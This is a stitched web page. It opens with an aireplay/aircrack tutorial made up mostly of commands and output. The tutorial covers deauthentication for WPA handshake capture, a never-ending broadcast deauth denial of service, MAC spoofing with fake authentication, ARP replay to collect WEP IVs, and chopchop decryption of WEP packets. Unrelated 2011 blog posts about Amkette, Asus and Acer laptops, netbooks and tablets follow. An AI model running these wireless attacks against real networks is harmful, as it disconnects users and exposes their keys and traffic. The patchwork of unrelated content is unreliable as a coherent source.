This attack is mostly useful to recover a hidden (not broadcasted) ESSID and for capturing WPA handshakes by forcing clients to reauthenticate. It can also be used to generate ARP requests as Windows clients sometimes flush their ARP cache when disconnected. Of course, this attack is totally useless if there are no associated wireless clients.
It is usually more effective to target a specific station using the -c parameter.
Some examples:
WPA Handshake capture with an Atheros
airmon.sh start ath0
airodump ath0 out 6  (switch to another console)
aireplay -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0
(wait for a few seconds)
aircrack -w /path/to/dictionary out.cap
ARP request generation with a Prism2 card
airmon.sh start wlan0
airodump wlan0 out 6  (switch to another console)
aireplay -0 10 -a 00:13:10:30:24:9C wlan0
aireplay -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
After sending the five batches of deauthentication packets, we start listening for ARP requests with attack 3. The -h option is mandatory and has to be the MAC address of an associated client.
If the driver is wlan-ng, you must run the airmon.sh script; otherwise the card won't be correctly setup for injection.
Mass denial-of-service with a RT2500 card
airmon.sh start ra0
aireplay -0 0 -a 00:13:10:30:24:9C ra0
With parameter 0, this attack will loop forever sending deauthentication packets to the broadcast address, thus preventing clients from staying connected.
Attack 1: fake authentication
This attack is only useful when you need an associated MAC address in attacks 2, 3, 4 (-h option) and there is currently no associated client. However it is genereally better to use the MAC address of a real client (like here, 00:09:5B:EB:C5:2B) in attacks 2, 3 and 4. The fake auth attack does NOT generate ARP requests.
Also, subsequent attacks will likely perform better if you update the MAC address of the card, so that it properly sends ACKs:
ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up

aireplay -1 0 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
12:14:06  Sending Authentication Request
12:14:06  Authentication successful
12:14:06  Sending Association Request
12:14:07  Association successful :-)
With patched madwifi CVS 2005-08-14, it's possible to inject packets while in Managed mode (the WEP key itself doesn't matter, as long as the AP accepts Open-System authentication). So, instead of running attack 1, you may just associate and inject / monitor through the athXraw interface:
ifconfig ath0 down hw ether 00:11:22:33:44:55
iwconfig ath0 mode Managed essid 'the ssid' key AAAAAAAAAA
ifconfig ath0 up

sysctl -w dev.ath0.rawdev=1
ifconfig ath0raw up
airodump ath0raw out 6

Then you can run attack 3 or 4 (aireplay will automatically replace ath0 with ath0raw below):
aireplay -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0
aireplay -4 -h 00:10:20:30:40:50 -f 1 ath0

Some access points require to reassociate every 30 seconds, otherwise our fake client is considered disconnected. In this case, setup the periodic re-association delay:
aireplay -1 30 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
If this attacks seems to fail (aireplay keeps sending authentication requests), MAC address filtering may be in place. Also make sure that:
You are close enough to the access point.
The driver is properly patched and installed.
The card is configured on the same channel as the AP.
The BSSID and ESSID (-a / -e options) are correct.
If Prism2, make sure the firmware was updated.

As a reminder: you can't inject with a Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell or Broadcom chipset because of firmware and/or driver limitations.
Attack 2: interactive packet replay
This attack allows you to choose a given packet for replaying; it sometimes gives more effective results than attack 3 (automatic ARP reinjection).
You could use it, for example, to attempt the "any data re-broadcast" attack, which only works if the AP actually reencrypts WEP data packets:
aireplay -2 -b 00:13:10:30:24:9C -n 100 -p 0841 \
   -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0
You can also use attack 2 to manually replay WEP-encrypted ARP request packets, which size is either 68 or 86 bytes (depending on the operating system):
aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
   -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0

aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
   -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0
Attack 3: ARP-request reinjection
The classic ARP-request replay attack is the most effective to generate new IVs, and works very reliably. You need either the MAC address of an associated client (00:09:5B:EB:C5:2B), of a fake MAC from attack 1 (00:11:22:33:44:55). You may have to wait for a couple of minutes, or even longer, until an ARP request shows up; this attack will fail if there is no traffic.
Please note that you can also reuse ARP requests from a previous capture using the -r switch.
aireplay -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...
Attack 4: KoreK's "chopchop" (CRC prediction)
This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, most access points are not vulnerable at all. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. This attack requires at least one WEP data packet.
First, we decrypt one packet :
aireplay -4 -h 00:09:5B:EB:C5:2B ath0
Let's have a look at the IP address :
tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
reading from file replay_dec-0627-022301.cap, link-type [...]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1
Then, forge an ARP request.
The source IP (192.168.1.100) doesn't matter, but the destination IP (192.168.1.2) must respond to ARP requests. The source MAC must belong to an associated station.
./arpforge replay_dec-0627-022301.xor 1 00:13:10:30:24:9C \
00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap
And replay our forged ARP request :
aireplay -2 -r arp.cap ath0

Amkette FlashLink Review

2011-03-02T14:03:00.001-08:00

Amkette FlashLink
What do you do when you have to transfer chunks of datafrom your desktop to your laptop/netook or from yourlaptop to a netbook? Wi-Fi sharing would do, but what if you donot have Internet on both the devices -LAN or probably Blue-tooth, but that is so slow that you just might decide not to goahead. You can use Amkette, FlashLink, which device looks likea pen drive with a micro USB slot on one end.Once Flash Link isconnected to one of the devices, the inbuilt software, asks you torun the AFLloader in both the devices that are connected usinga USB cable. And this hap-pens everytime the devicesare connected. And oncethat is done, the AmketteFlashLink suite opens up with 5 options;Go! Finder, Go! Bridge, Remote Share, Folder Syncand Outlook Sync.
Go Finder is basically the name for the storage partof the device, that is 192MB. Go! Bridge allows the devices to ac-cess each other's hard drives and copy content from each otheror delete documents from each other. One can view pictures, videosand play music directly from the connected device as well. While Itried to view some videos and hear some songs from the other de-vice, there was no stutter both in terms of music or video, which ispretty good. I loved folder sync and like the fact that I would nothave to use the hard drive twice and use twice the time to transfercontent from my desktop to my notebook and vice-versa.
Bottomline: FlashLink from Amkette is a very good de-vice that makes syncing and content transfer easy.Also, the price makes it a sensible buy too.

ASUS TO LAUNCH ALMOST SIX TABLETS IN THE COMING MONTHS

2011-02-26T12:46:00.000-08:00

Asus has been working on multiple tablet devices for a while and now Digitimes report that as many as 6 tablets are in the pipeline. The site says that it obtained the information from Asus President Jerry Shen. That said, these are still rumors and Digitimes has a history of presenting rumors as fact.

So here is what we know at the moment, assuming that Digitimes has got its sources correct. The upcoming Asus tablets will have screen sizes ranging from 7 to 12 inches. First of the six machines will hit the streets in December. The remaining five will make their debut by March.

Some of these tablets will have ARM-based processors and run Google Android or Windows Embedded 7. Others will have x86 based processors and run Windows.
There will be two 7 inch models. One of them will have WiFi and the other will have 3G and phone capabilities. Both of these machines are likely to have ARM-based processors.

There will be two models in the 9 inch space. One of them will have a NVIDIA Tegra 2 processor and run Google Android. The other model will have an Intel x86 processor and run Windows. There is no word on final pricing, but the Tegra based tablet is expected to be around $100 cheaper than the Windows tablet.

Aside from the 7 and 9 inch models, Asus is also developing 10 and 12 inch tablets.

ASUS N53SV-A1 MULTIMEDIA NOTEBOOK

2011-02-26T12:42:00.000-08:00

The 15.6 inch Asus N53SV-A1 multimedia notebook has started shipping in the US. The N53SV-A1 is the first notebook in the Asus N series to sport Intel's 2nd generation Core 'Sandy Bridge' processors.

Precisely, the notebook has an Intel Core i7-2630QM qaud-core processor, GeForce GT 540M 1GB discrete graphics, 4GB of RAM, a 750GB hard drive, DVD burner and a silver aluminum finish. The 15.6 inch display has a resolution of 1366 x 768 pixels.

The N53SV-A1 runs Windows 7 Home Premium operating system. It also has a 2 megapixel webcam, microphone, Altec Lansing stereo speakers, 1 USB 3.0 port, 2 USB 2.0 ports, 1 eSATA port, HDMI, VGA and a 5-in-1 media card reader. The laptop weighs 6.4 pounds with the standard 6-cell battery.

The Asus N53SV-A1 can be purchased from SuperBiiz for $1,170.96.

ASUS INTRODUCES EEE PC 1011PX WITH ATOM N455

2011-02-26T12:40:00.000-08:00

Asus has introduced a new Eee PC. The Asus Eee PC 1011PX is essentially an updated version of the 1001PX which is one of the cheapest and most popular Eee PCs available at the moment. Asus is expected to officially introduce the netbook at the CeBIT trade show in March.

The Eee PC 1011PX is expected to be sold as Eee PC R011PX in some countries. It has a 1.66GHz Intel Atom N455 processor (the 1001X has an Atom N450 processor), 1GB of DDR3 RAM, a 250GB hard drive and WiFi 802.11b/g/n. The netbook runs Windows 7 Starter Edition.

The main difference between the Atom N450 and N455 processors is that the N455 supports DDR3 memory. Bear in mind that there will be no major boost in performance.

ACER ANNOUNCES BUDGET FRIENDLY NOTEBOOKS WITH INTEL AND AMD PROCESSORS

2011-02-26T12:39:00.000-08:00

Acer has announced two new laptops for consumers on a budget. The 15.6″ Aspire 5741 (AS5741) and the 17.3-inch Aspire 7741 (AS7741) are available with Intel's Core i5, i3, as well as AMD Phenom II, Athlon II, Turion II, and AMD V Series CPUs. It should be noted that these are not official model names and may change by the time the laptops hit the market.

The new Aspire notebooks feature rounded edges and textured mesh lids. Other specifications include 4GB of DRR3 RAM, up to 500GB hard drives, WiFi 802.11n and a 1.3 megapixel webcam. Select models are available with ATI Radeon 5470 or 5650 dedicated graphics and Blu-ray drives.

The new Acer Aspire notebooks are expected to be available later this month. Prices range between $429.99 to $899.99.

ACER INTRODUCES ASPIRE ONE 533, 753 AND D260 LAPTOPS

2011-02-26T12:37:00.000-08:00

Acer officially introduced three new budget-minded laptops today. Here is a run down on their specs.

Acer Aspire One 533

The Aspire One 533 netbook has a 10.1 inch display with either 1024 x 600 or 1280 x 720 pixels. We have been hearing about this machine for a while. It also made an appearance at Computex last week. The Aspire One 533 is available with your choice of a 1.66GHz Intel Atom N455 or 1.83GHz Intel Atom N470 processor. Other features include DDR3 memory, up to 250GB of storage, HDMI output, integrated WiFi, Bluetooth 3.0 and 3G.

Acer says that the laptop will get around 10 hours of battery life. The Aspire One 533 is available in glossy black, red or white.

Acer Aspire One D260

The Acer Aspire One D260 is available with a dual boot system that would let you boot into either Android or windows 7. The netbook has a 10.1 inch display with 1024 x 600 pixels, a 1.66GHz Intel Atom N450 or N455 processor, GMA 3150 graphics, WiFi, 1GB of RAM and up to 250GB of hard drive space. Optional features include Bluetooth 3.0.

Acer Aspire One 753

The Aspire One 753 is an 11.6 inch notebook. It is available with an Intel Celeron U3400 ULV processor,integrated Intel HD graphics with 128MB of dedicated video memory and DirectX 10 support. The 11.6 inch display has 1366 x 768 pixels. Other specifications include built-in WiFi, Bluetooth or 3G (optional), up to 4GB of DDR3 RAM and up to 640GB of storage.

ACER ASPIRE 721

2011-02-26T04:03:00.000-08:00

ACER ASPIRE 721 UP FOR PRE-ORDER

One of the first netbooks to sport AMD's new Nile processor, the Acer Aspire 721 is now up for pre-order from Amazon for $430 plus free shipping.

The Aspire 721 has an 11.6 inch HD display with 1366 x 768 pixels. It is powered by a 1.7GHz AMD Athlon II Neo K125 single core processor. The notebook also has the ATI Radeon HD 4225 graphics with 384MB of dedicated video memory. Other specifications include 2GB of DDR3 RAM, a 250GB hard drive, and a 6 cell, 4400mah battery.

The Acer Aspire 721 runs Windows 7 Home Premium 64 bit. It weighs 3.1 pounds. It is not known whether this machine will be able to deliver better performance and battery life than notebooks powered by Intel CULV processors. But at just $430, the Aspire 721 is only slightly costlier than a typical Atom-powered netbook. Better still, it offers an HD display, better graphics and full fledged operating system.

ACER ASPIRE 721

2011-02-26T04:02:00.000-08:00

The Acer Aspire 721 is now available for purchase. Amazon has started selling the notebook for $429.99 plus free shipping. The Aspire 721 is an 11.6 inch thin and light notebook with an AMD chipset.

The laptop was introduced last month. It is powered by a 1.7GHz AMD Athlon II Neo processor and ATI Radeon HD 4255 graphics with 384 MB of dedicated video RAM.

Other specifications include a 250GB hard drive, 2GB of memory, 3 USB ports, WiFi 802.11b/g/n, a 1.3 megapixel webcam and a 4400mAh battery. The 11.6 inch display has 1366 x 768 pixels.

The Acer Aspire 721 weighs 3.1 pounds. It runs Windows 7 Home Premium.

ACER TIMELINE X SERIES NOTEBOOKS NOW AVAILABLE IN THE US

2011-02-26T03:58:00.000-08:00

The Acer Timeline X series notebooks have finally made their debut in the US. Acer has been selling these machines in other parts of the world for a few months now. The Acer Timeline X consists of several thin and light models with prices starting at $599.99.

The smallest among the bunch is the Acer Aspire Timeline 1830T. This machine has an 11.6 inch display. The base model with a Core i3 CPU, 3GB of DDR3 memory and a 320GB HDD costs $599.99. For $699.99 you can get a Core i5 ULV CPU, 4GB of DDR3 memory and 500GB HDD.

The other models that are on offer include the 13.3-inch 3820T, 14-inch 4820T, and the 15.6-inch 5820T.

The Aspire 5820T and the Aspire 4820T notebooks ship with 4GB of RAM, up to 500GB of storage and a built-in optical drive. Prices start at $749.99. The discrete graphics option is available on the Aspire 4820TG which features an ATI Mobility Radeon HD 5650 graphics. This model costs $799.99 with a Core i3 processor, 4GB of DDR3 memory and a 320GB hard drive. The Core i5 version with a 500GB hard drive will cost $899.99.

The Aspire 3820T has a 13.3 inch display. It starts at $729.99 and has 4GB of DDR3 memory and a 320GB / 500GB hard drive.

ACER ASPIRE AS8943G

2011-02-26T03:57:00.000-08:00

The Acer Aspire AS8943G is now available in the US. The Aspire AS8943G is an 18.4 inch desktop replacement laptop aimed at multimedia enthusiasts. It sports a full HD display, an Intel quad-core processor, and ATI dedicated graphics.

The Aspire AS8943G belongs to the Aspire Ethos line. It is available in two configurations: the AS8943G-6190 and AS8943G-6782. Both models have an Intel Core i7 720QM CPU, the ATI Mobility Radeon HD 5850 graphics with 1GB of video card, a 500GB hard drive, a Blu-ray Combo drive, and an 8-cell battery which should power the machine for up to 3 hours. While the AS8943G-6190 ships with 4GB of DDR3 memory,the AS8943G-6782 has 8GB. Both models support up to 16GB of memory.

Other features include five integrated speakers, a dedicated subwoofer, Dolby Home Theatre Audio, a 1.3 megapixel webcam, chiclet style keyboard with dedicated number pad, a fingerprint reader, WiFi 802.11n, four USB ports and HDMI and VGA outputs. The dual mode touchpad has capacitive touch media controller icons for switching between multi-gesture mode to media console mode.

TheAspire AS8943G weighs 10.1 pounds. It runs Windows 7 Home Premium OS. Both models are now available for order. The AS8943G-6190 is going for $1,549.99 from Amazon whereas the AS8943G-6782 will set you back $1,599.99 (Newegg).

ACER ASPIRE ONE AO533

2011-02-26T03:56:00.000-08:00

The Acer Aspire One AO533 is a 10.1-inch netbook. It is now available for pre-order in the US.

The Aspire One 533 is available with an Intel Atom N455 or Atom N475 processor, Intel GMA 3150 integrated graphics, 1GB of DDR3 RAM, a 160GB or a 250GB hard drive, Windows 7 Starter Edition and a 6-cell battery that should power the machine for up to 8 hours on a single charge. The 10.1 inch LED backlit display has 1024 x 600 pixels.

Other features include a built-in 1.3 megapixel webcam, microphone, stereo speakers, WiFi 802.11n, Ethernet LAN, 3 USB 2.0 ports, Bluetooth 3.0, a multi-gesture touchpad, a multi-in-1 media card reader and a VGA output. The netbook weighs 2.76 pounds. It is available in black and red. Acer will also, reportedly, release the netbook in white sometime soon.

Pricing and availability
The Acer Aspire One 533 is now available for order from Amazon. Prices start at $329.99.

ACER ASPIRE TIMELINEX 5820T OVERVIEW

2011-02-26T03:55:00.000-08:00

The recently launched Acer Aspire TimelineX 5820T is a 15.6 inch thin and light laptop. It measures only around 1 inch in thickness and weighs around 5.3 pounds.

The Aspire TimelineX 5820T is available with your choice of a 2.4GHz Intel Core i5-450M or a 2.26GHz Core i3-350M processor. Other specifications include Intel HD integrated graphics, up to 8GB of DDR3 memory, up to 500GB of hard disk space and a DVD writer. The notebook ships with a 6-cell battery which should provide up to 8 hours of run time. According to some reports, Acer also plans to release the notebook with discrete ATI Radeon graphics.

The 15.6 inch LED-backlit display has a resolution of 1366 x 768 pixels. The Aspire 5820T also features a microphone, a web camera, WiFi 802.11n, Bluetooth, Gigabit LAN, 4 USB ports, VGA, HDMI outputs and a 5-in-1 media card reader. The keyboard is full-sized with a dedicated numeric pad. The notebook runs Windows 7 Home Premium.

Pricing and availability
The Aspire TimelineX 5820T is now available for around $700 from various online retailers.

ACER ASPIRE ONE D255 NOW AVAILABLE FROM HSN

2011-02-26T03:54:00.001-08:00

The Acer Aspire One D255 dual core netbook is now available for purchase from HSN. The mini-laptop was announced way back in July. It is actually the first laptop to hit the market with an Atom N550 processor.

The Aspire One D255 is now available for$399.90 from the HSN.com (Home Shopping Network) website. It is available in four colors - red, black, aquamarine or sandsonte. All four models have identical specifications including the following:

Processor: 1.5GHz Intel Atom N550 dual core CPU
Memory: 1GB of DDR3 memory
Storage: 250GB, 5400RPM hard drive
Display: 10.1 inch, 1024 x 600 pixel display
Graphics: Intel GMA 3150 graphics

The laptop has 3 USB 2.0 ports, Other specifications include WiFi 802.11b/g/n, 10/100 Ethernet, VGA output and a 6-cell battery rated at 4400mAh. More details are available at HSN.com.

ACER INTRODUCES DUAL BOOT ASPIRE ONE D255 NETBOOK IN TAIWAN

2011-02-26T03:54:00.000-08:00

Acer has unveiled a new dual boot netbook called the Aspire One AOD255. It can run both Windows 7 and Google Android. The mini-laptop ships with special software called Acer Configuration manager which will allow you to determine which operating system you want to load.

Like other netbooks from Acer, the Aspire One D255 also has 1GB of RAM, a 160GB hard drive for storage, and a 10.1 inch display. It is powered by a 1.66GHz Intel Atom N450 processor and ships with either a 3-cell or a 6-cell battery. According to a Computer World report, the final price of the tablet with a 3-cell battery will be closer to $375. Still no word on when this netbook will be available outside of Taiwan.

Incidentally, the Aspire One D255 isn't the first dual boot netbook from Acer. The company briefly sold another mini-laptop called Aspire One D250 with both Windows and Android.